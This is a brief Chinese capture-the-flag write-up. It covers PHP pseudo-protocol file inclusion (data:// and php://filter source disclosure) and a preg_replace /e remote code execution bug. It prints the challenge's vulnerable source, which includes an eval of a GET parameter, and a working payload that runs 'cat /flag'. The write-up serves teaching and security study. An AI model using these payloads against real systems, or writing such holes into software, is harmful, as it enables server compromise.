伪协议常用在文件包含漏洞中.
常见的文件包含函数有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile.
具体的函数功能可以参考.
伪协议的学习
通过data协议构造 data://text/plain,I have a dream
通过php协议构造 php://filter/convert.base64-encode/resource=next.php
访问
得到next.php源代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}function getFlag(){
@eval($_GET['cmd']);
}
接着是preg_replace /e模式下的漏洞.
这里会在匹配成功后执行’strtolower("\1")‘操作.而""里面的东西会解释执行,而’\1’,即’\1’在正则表达式中表示第一个子匹配项.
具体可以参考
深入研究preg_replace与代码执行
构造payload
\S*=${getFlag()}&cmd=system(‘cat /flag’);(这里不要把’;'忘了)